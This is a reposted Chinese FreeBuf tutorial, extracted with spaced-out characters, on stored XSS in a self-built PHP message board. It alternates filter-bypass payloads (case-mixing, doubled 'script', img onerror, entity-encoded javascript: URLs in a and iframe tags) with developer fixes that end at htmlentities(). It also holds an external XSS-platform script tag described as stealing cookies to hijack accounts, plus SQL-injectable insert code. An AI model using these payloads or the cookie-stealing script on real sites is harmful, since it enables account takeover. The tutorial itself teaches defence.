搜索

[14828] 2019-11-17_存储型XSS的攻防：不想做开发的黑客不是好黑客

文档创建者：s7ckTeam
浏览次数：17
最后更新：2025-01-18
2019-11-17_存储型XSS的攻防：不想做开发的黑客不是好黑客 存 储 型 X S S 的 攻 防 ： 不 想 做 开 发 的 黑 客 不 是 好 黑 客 原 创   A B K i n g   F r e e B u f   2 0 1 9 - 1 1 - 1 7 不 想 做 开 发 的 黑 客 不 是 好 黑 客 。 本 文 只 对 存 储 型 本 文 只 对 存 储 型 X S S 进 行 分 析 。 那 么 ， 什 么 是 存 储 型 进 行 分 析 。 那 么 ， 什 么 是 存 储 型 X S S 呢 ？ 呢 ？ 它 是 通 过 对 网 页 注 入 可 执 行 代 码 且 成 功 地 被 浏 览 器 执 行 ， 达 到 攻 击 的 目 的 ， 一 般 是 注 入 一 段 j a v a s c r i p t 脚 本 。 在 测 试 过 程 中 ， 我 们 一 般 是 使 用 ： 通 过 这 段 j s 代 码 ， 弹 个 框 来 证 明 存 在 x s s 漏 洞 。 那 么 ， 可 能 新 手 就 会 问 了 ， 弹 个 框 有 什 么 用 呢 ？ 其 实 ， 弹 框 只 是 为 了 证 明 存 在 此 漏 洞 。 而 此 漏 洞 的 利 用 方 式 由 很 多 种 。 比 如 ， 你 可 以 使 用 x s s 平 台 ： 写 入 一 段 平 台 生 成 的 x s s 脚 本 ： 当 某 人 进 入 带 有 这 个 脚 本 的 页 面 时 ， j s 脚 本 会 获 取 他 的 c o o k i e 并 发 往 x s s 平 台 。 你 只 需 要 登 录 x s s 平 台 等 待 即 可 ， 拿 到 c o o k i e 后 ， 可 以 不 需 要 密 码 登 录 他 的 账 号 。 注 意 ： 本 文 的 重 点 是 一 步 一 步 以 黑 客 的 角 度 进 行 注 意 ： 本 文 的 重 点 是 一 步 一 步 以 黑 客 的 角 度 进 行 x s s 攻 击 ， 再 讨 论 如 何 站 在 开 发 者 的 角 度 去 一 步 一 步 防 御 攻 击 ， 再 讨 论 如 何 站 在 开 发 者 的 角 度 去 一 步 一 步 防 御 x s s 攻 击 。 所 以 我 会 在 本 文 中 以 开 发 的 身 份 修 正 后 端 代 码 ， 再 以 黑 客 的 身 份 进 行 攻 击 。 所 以 我 会 在 本 文 中 以 开 发 的 身 份 修 正 后 端 代 码 ， 再 以 黑 客 的 身 份 进 行 前 端 页 面 的 前 端 页 面 的 x s s 攻 击 ， 这 一 点 需 要 注 意 哦 。 攻 击 ， 这 一 点 需 要 注 意 哦 。 对 于 存 储 型 x s s 漏 洞 的 表 现 形 式 ， 比 较 经 典 的 是 留 言 板 。 但 是 我 们 都 是 遵 纪 守 法 的 好 同 学 ， 不 能 对 外 面 的 网 站 进 行 测 试 ， 所 以 就 花 半 个 小 时 自 己 手 撸 一 个 留 言 板 咯 。 首 先 ， 应 该 有 前 端 展 示 的 页 面 M e s s a g e _ B o a r d . p h p 和 后 端 存 储 数 据 的 页 面 a d d M e s s a g e . p h p 前 端 代 码 不 是 本 文 重 点 （ 感 兴 趣 的 可 以 去 看 看 我 的 代 码 ： h t t p s : / / g i t h u b . c o m / B r u c e s s K I N G / B a c k - s t a g e - M a n a g e m e n t ） 我 们 重 点 关 注 后 端 代 码 a d d M e s s a g e . p h p ： < s c r i p t > a l e r t ( 1 ) < / s c r i p t > < s c r i p t   s r c = / / x s s p t . c o m / Z s g U B f > < / s c r i p t > < ? p h p         $ n i c k n a m e   =   @ $ _ P O S T [ ' n i c k n a m e ' ] ; / / 昵 称         $ e m a i l   =   @ $ _ P O S T [ ' e m a i l ' ] ; / / 邮 箱         $ c o n t e n t   =   @ $ _ P O S T [ ' c o n t e n t ' ] ; / / 留 言 内 容         $ n o w _ t i m e   =   @ $ _ P O S T [ ' n o w _ t i m e ' ] ; / / 留 言 时 间         $ i n i =   @ p a r s e _ i n i _ f i l e ( " c o n f i g . i n i " ) ;         $ c o n   =   @ m y s q l _ c o n n e c t ( $ i n i [ " s e r v e r n a m e " ] , $ i n i [ " u s e r n a m e " ] , $ i n i [ " p a s s w o r d " ] ) ;         i f ( $ c o n ) {                 m y s q l _ q u e r y ( " s e t   n a m e s   ' u t f 8 ' " ) ; / / 解 决 中 文 乱 码 问 题                 m y s q l _ s e l e c t _ d b ( $ i n i [ " d b n a m e " ] ) ;                 $ s q l 1   =   " s e l e c t   c o u n t ( * )   f r o m   m e s s a g e _ b o a r d " ;                 $ r e s u l t   =   m y s q l _ q u e r y ( $ s q l 1 ) ;                 $ f l o o r   =   m y s q l _ f e t c h _ r o w ( $ r e s u l t ) [ 0 ]   +   1 ;                 $ s q l   =   " i n s e r t   i n t o   m e s s a g e _ b o a r d   v a l u e s ( $ f l o o r , " $ n i c k n a m e " , " $ e m a i l " , " $ c o n t e n t " , " $ n o w _ t i m e " ) " ;                 m y s q l _ q u e r y ( $ s q l ) ;         } ? >
可 以 看 到 ， 我 们 对 传 入 的 四 个 参 数 完 全 没 有 处 理 ， 而 是 直 接 存 入 数 据 库 中 。 所 以 ， 只 要 我 们 这 样 输 入 ： 提 交 之 后 ， 系 统 会 自 动 刷 新 页 面 出 现 弹 框 ： 点 击 确 定 后 ， 你 会 发 现 留 言 内 容 和 留 言 者 的 部 分 都 为 空 。 这 是 因 为 j s 脚 本 已 经 被 解 析 了 ， 这 时 我 们 按 F 1 2 ， 打 开 浏 览 器 的 开 发 者 工 具 ， 发 现 了 j s 脚 本 。 那 么 ， 问 题 来 了 。 毕 竟 我 们 还 有 另 外 一 个 身 份 ， 开 发 者 该 如 何 防 御 呢 ？ 0 x 0 0 、 来 个 最 简 单 的 ， 只 修 改 前 端 代 码 、 来 个 最 简 单 的 ， 只 修 改 前 端 代 码 在 i n p u t 标 签 里 面 加 上 m a x l e n g t h 属 性 至 于 原 理 嘛 ， 就 是 因 为 j s 脚 本 的 形 式 为 长 度 为 1 7 ， 所 以 只 要 我 们 在 前 端 对 长 度 进 行 限 制 ， 就 可 以 阻 止 黑 客 进 行 x s s 攻 击 了 可 是 ！ 开 发 可 没 这 么 好 做 ！ 可 是 ！ 开 发 可 没 这 么 好 做 ！ 我 们 是 想 做 开 发 的 黑 客 ， 所 以 还 得 自 己 搞 自 己 。 作 为 攻 击 者 ， 我 们 同 样 可 以 修 改 前 端 代 码 ， 具 体 的 操 作 是 使 用 浏 览 器 的 F 1 2 （ 开 发 者 工 具 ） 可 以 看 到 ， 我 们 可 以 直 接 进 行 长 度 的 修 改 。 另 外 ， 还 可 以 用 抓 包 的 方 法 ， 在 包 里 面 直 接 写 ， 也 是 不 受 长 度 限 制 的 。 0 x 0 1 、 对 关 键 字 、 对 关 键 字 s c r i p t 进 行 过 滤 进 行 过 滤 作 为 开 发 者 ， 你 很 容 易 发 现 ， 要 想 进 行 x s s 攻 击 ， 必 须 插 入 一 段 j s 脚 本 ， 而 j s 脚 本 的 特 征 是 很 明 显 的 ， 脚 本 中 包 含 s c r i p t 关 键 字 ， 那 么 我 们 只 需 要 进 行 s c r i p t 过 滤 即 可 。 回 到 之 前 的 代 码 。 为 方 便 说 明 ， 我 只 取 n i c k n a m e 参 数 ， 其 实 传 入 的 四 个 参 数 需 要 做 同 样 的 处 理 。 < i n p u t   t y p e = " t e x t "   n a m e = " n i c k n a m e "   p l a c e h o l d e r = " 留 言 者 昵 称 "   m a x l e n g t h = " 1 0 " > $ n i c k n a m e   =   s t r _ r e p l a c e ( " s c r i p t " ,   " " ,   @ $ _ P O S T [ ' n i c k n a m e ' ] ) ; / / 昵 称
上 面 这 个 s t r _ r e p l a c e ( ) 函 数 的 意 思 是 把 s c r i p t 替 换 为 空 。 可 以 看 到 ， s c r i p t 被 替 换 为 空 ， 弹 框 失 败 。 那 么 黑 客 该 如 何 继 续 进 行 攻 击 呢 ？ 答 案 是 ： 大 小 写 绕 过 答 案 是 ： 大 小 写 绕 过 因 为 j s 是 不 区 分 大 小 写 不 区 分 大 小 写 的 ， 所 以 我 们 的 大 小 写 不 影 响 脚 本 的 执 行 成 功 弹 框 成 功 弹 框 0 x 0 2 、 使 用 、 使 用 s t r _ i r e p l a c e ( ) 函 数 进 行 不 区 分 大 小 写 地 过 滤 函 数 进 行 不 区 分 大 小 写 地 过 滤 s c r i p t 关 键 字 关 键 字 作 为 一 名 优 秀 的 开 发 ， 发 现 了 问 题 当 然 要 及 时 改 正 ， 不 区 分 大 小 写 不 就 行 了 嘛 后 端 代 码 修 正 如 下 ： s t r i r e p l a c e ( ) 函 数 类 似 于 上 面 的 s t r r e p l a c e （ ） ， 但 是 它 不 区 分 大 小 写 。 那 么 ， 大 黑 阔 该 如 何 绕 过 ？ 答 案 是 ： 双 写 答 案 是 ： 双 写 s c r i p t 原 理 就 是 s t r _ i r e p l a c e ( ) 函 数 只 找 出 了 中 间 的 s c r i p t 关 键 字 ， 前 面 的 S 和 后 面 的 c r i p t 组 合 在 一 起 ， 构 成 了 新 的 S c r i p t 关 键 字 。 弹 框 成 功 ！ 0 x 0 3 、 使 用 、 使 用 p r e g _ r e p l a c e ( ) 函 数 进 行 正 则 表 达 式 过 滤 函 数 进 行 正 则 表 达 式 过 滤 s c r i p t 关 键 字 关 键 字 显 然 ， 弹 框 失 败 。 攻 击 者 如 何 再 一 次 绕 过 ？ 攻 击 者 如 何 再 一 次 绕 过 ？ 答 案 是 ： 用 答 案 是 ： 用 i m g 标 签 的 标 签 的 o n e e r r o r 属 性 属 性 0 x 0 4 、 过 滤 、 过 滤 a l e r t 关 键 字 关 键 字 看 到 这 里 ， 不 知 道 你 烦 了 没 有 ， 以 开 发 的 角 度 来 讲 ， 我 都 有 点 烦 。 大 黑 阔 你 不 是 喜 欢 弹 窗 么 ？ 我 过 滤 a l e r t 关 键 字 看 你 怎 么 弹 ！ < s C r I P t > a l e r t ( 1 ) < / S c r i p T > $ n i c k n a m e   =   s t r _ i r e p l a c e ( " s c r i p t " ,   " " ,   @ $ _ P O S T [ ' n i c k n a m e ' ] ) ; / / 昵 称 < S s c r i p t c r i p t > a l e r t ( 1 ) < / S s c r i p t c r i p t > $ n i c k n a m e   =   p r e g _ r e p l a c e (   " / < ( . * ) s ( . * ) c ( . * ) r ( . * ) i ( . * ) p ( . * ) t / i " ,   " " ,   @ $ _ P O S T [ ' n i c k n a m e ' ] ) ; / / 昵 称 < i m g   s r c = x   o n e r r o r = a l e r t ( 1 ) > $ n i c k n a m e   =   p r e g _ r e p l a c e (   " / < ( . * ) s ( . * ) c ( . * ) r ( . * ) i ( . * ) p ( . * ) t / i " ,   " " ,   @ $ _ P O S T [ ' n i c k n a m e ' ] ) ; / / 昵 称 $ n i c k n a m e   =   p r e g _ r e p l a c e (   " ( . * ) a ( . * ) l ( . * ) e ( . * ) r ( . * ) t / i " ,   " " ,   $ n i c k n a m e ) ; / / 昵 称
那 么 ， 攻 击 者 该 怎 么 办 呢 ？ 那 么 ， 攻 击 者 该 怎 么 办 呢 ？ 答 案 是 ： 编 码 绕 过 答 案 是 ： 编 码 绕 过 当 点 击 页 面 上 的 超 链 接 时 ， 会 弹 框 。 但 是 为 什 么 呢 ？ 这 种 编 码 方 式 为 字 符 编 码 字 符 编 码 字 符 编 码 字 符 编 码 ： 十 进 制 、 十 六 进 制 A S C I I 码 或 u n i c o d e   字 符 编 码 ， 样 式 为 “ & # 数 值 ; ” ,   例 如 “ j ” 可 以 编 码 为 “ j ” 或 “ j ” 上 述 代 码 解 码 之 后 如 下 ： 你 能 明 显 感 觉 到 限 制 ： 由 于 使 用 到 了 a 标 签 ， 所 以 只 有 点 击 时 ， 才 会 弹 框 。 作 为 一 个 大 黑 阔 ， 我 们 当 然 是 不 满 意 的 ， 能 不 能 让 所 有 进 入 这 个 页 面 的 人 都 弹 框 ？ 当 然 可 以 了 ： 用 用 i f r a m e 标 签 编 码 标 签 编 码 这 种 写 法 ， 同 样 既 没 有 s c r i p t 关 键 字 ， 又 没 有 a l e r t 关 键 字 。 可 以 看 到 弹 框 成 功 ！ 可 是 你 也 能 看 到 ， 由 于 使 用 了 i f r a m e 标 签 ， 留 言 板 的 样 式 已 经 变 形 了 。 实 战 中 尽 量 不 要 用 。 0 x 0 5 、 过 滤 特 殊 字 符 、 过 滤 特 殊 字 符 优 秀 的 开 发 ， 永 不 认 输 ！ 你 个 小 小 的 黑 阔 ， 不 就 是 会 插 入 j s 代 码 么 ？ 我 过 滤 特 殊 字 符 ， 看 你 代 码 咋 被 解 析 ？ 可 是 我 不 想 手 撸 代 码 来 列 举 那 么 多 特 殊 字 符 怎 么 办 ？ p h p 给 我 们 提 供 了 h t m l e n t i t i e s ( ) 函 数 ： h t m l e n t i t i e s ( ) 函 数 的 作 用 是 把 字 符 转 换 为   H T M L   实 体 。 显 示 结 果 显 示 结 果 描 述 描 述 实 体 名 称 实 体 名 称 实 体 编 号 实 体 编 号 空 格 < 小 于 号 < < > 大 于 号 > > & 和 号 & & " 引 号 " " ' 撇 号   '   ( I E 不 支 持 ) ' ￠ 分 （ c e n t ） ¢ ¢ £ 镑 （ p o u n d ） £ £ ¥ 元 （ y e n ） ¥ ¥ € 欧 元 （ e u r o ） € € § 小 节 § § © 版 权 （ c o p y r i g h t ） © © ® 注 册 商 标 ® ® < a   h r e f = & # 1 0 6 ; & # 9 7 ; & # 1 1 8 ; & # 9 7 ; & # 1 1 5 ; & # 9 9 ; & # 1 1 4 ; & # 1 0 5 ; & # 1 1 2 ; & # 1 1 6 ; & # 5 8 ; & # 9 7 ; & # 1 0 8 ; & # 1 0 1 ; & # 1 1 4 ; & # 1 1 6 ; & # 4 0 ; & # 4 9 ; & # 4 1 ; > a < / a > < a   h r e f = j a v a s c r i p t : a l e r t ( 1 ) > a < / a > < i f r a m e   s r c = & # 1 0 6 ; & # 9 7 ; & # 1 1 8 ; & # 9 7 ; & # 1 1 5 ; & # 9 9 ; & # 1 1 4 ; & # 1 0 5 ; & # 1 1 2 ; & # 1 1 6 ; & # 5 8 ; & # 9 7 ; & # 1 0 8 ; & # 1 0 1 ; & # 1 1 4 ; & # 1 1 6 ; & # 4 0 ; & # 4 9 ; & # 4 1 ; > $ n i c k n a m e   =   h t m l e n t i t i e s ( @ $ _ P O S T [ ' n i c k n a m e ' ] ) ; / / 昵 称
™ 商 标 ™ ™ × 乘 号 × × ÷ 除 号 ÷ ÷ 显 示 结 果 显 示 结 果 描 述 描 述 实 体 名 称 实 体 名 称 实 体 编 号 实 体 编 号 看 到 这 里 ， 你 可 能 还 是 不 明 白 H T M L 字 符 实 体 是 什 么 。 我 举 个 例 子 吧 ， 当 你 想 在 H T M L 页 面 上 显 示 一 个 小 于 号 （ < ） 时 ， 浏 览 器 会 认 为 这 是 标 签 的 一 部 分 （ 因 为 所 有 标 签 都 由 大 于 号 ， 标 签 名 和 小 于 号 构 成 ） ， 因 此 ， 为 了 能 在 页 面 上 显 示 这 个 小 于 号 （ < ） ， 我 们 引 入 了 H T M L 字 符 实 体 的 概 念 ， 能 够 在 页 面 上 显 示 类 似 于 小 于 号 （ < ） 这 样 的 特 殊 符 号 ， 而 不 会 影 响 到 页 面 标 签 的 解 析 。 可 以 看 到 ， 我 们 输 入 的 内 容 全 部 显 示 在 页 面 上 了 。 可 是 却 没 有 弹 框 。 我 们 鼠 标 右 键 ， 查 看 网 页 源 代 码 ： 实 际 上 ， 我 们 输 入 的 内 容 已 经 变 成 了 H T M L 实 体 ： 无 法 被 解 析 为 j s 脚 本 。 黑 客 在 当 前 场 景 下 已 经 无 法 攻 击 了 （ 在 某 些 其 他 场 景 ， 即 使 使 用 了 h t m l e n t i t i e s ( ) 函 数 ， 仍 然 是 可 以 攻 击 的 ， 这 就 不 在 本 文 讨 论 范 围 之 内 了 ） 0 x 0 6 、 总 结 、 总 结 开 发 者 不 应 该 只 考 虑 关 键 字 的 过 滤 ， 还 应 该 考 虑 特 殊 符 号 的 过 滤   。 黑 客 在 面 对 未 知 的 情 况 时 ， 要 不 断 尝 试 ， 这 对 于 知 识 的 储 备 量 有 较 高 的 要 求 。 对 于 x s s 攻 击 ， 站 在 开 发 者 角 度 来 讲 ， 仅 仅 用 一 个 h t m l e n t i t i e s ( ) 函 数 基 本 可 以 做 到 防 御 ， 可 是 一 个 优 秀 的 开 发 者 应 该 明 白 它 的 原 理 。 站 在 黑 客 的 角 度 来 讲 ， 面 对 环 境 的 逐 步 变 化 ， 条 件 的 逐 步 限 制 ， 攻 击 思 路 灵 活 变 化 是 对 整 个 职 业 生 涯 有 益 的 。 最 后 ， 我 要 说 一 句 ， j a v a 天 下 第 一 ！ * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： A B K i n g ， 属 于 ， 属 于 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 精 彩 推 荐 精 彩 推 荐 & l t ; i f r a m e   s r c = & a m p ; # 1 0 6 ; & a m p ; # 9 7 ; & a m p ; # 1 1 8 ; & a m p ; # 9 7 ; & a m p ; # 1 1 5 ; & a m p ; # 9 9 ; & a m p ; # 1 1 4 ; & a m p ; # 1 0 5 ; & a m p ; # 1 1 2 ; & a m p ; # 1 1 6 ; & a m p ; # 5 8 ; & a m p ; # 9 7 ; & a m p ; # 1 0 8 ; & a m p ; # 1 0 1 ; & a m p ; # 1 1 4 ; & a m p ; # 1 1 6 ; & a m p ; # 4 0 ; & a m p ; # 4 9 ; & a m p ; # 4 1 ; & g t ;
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理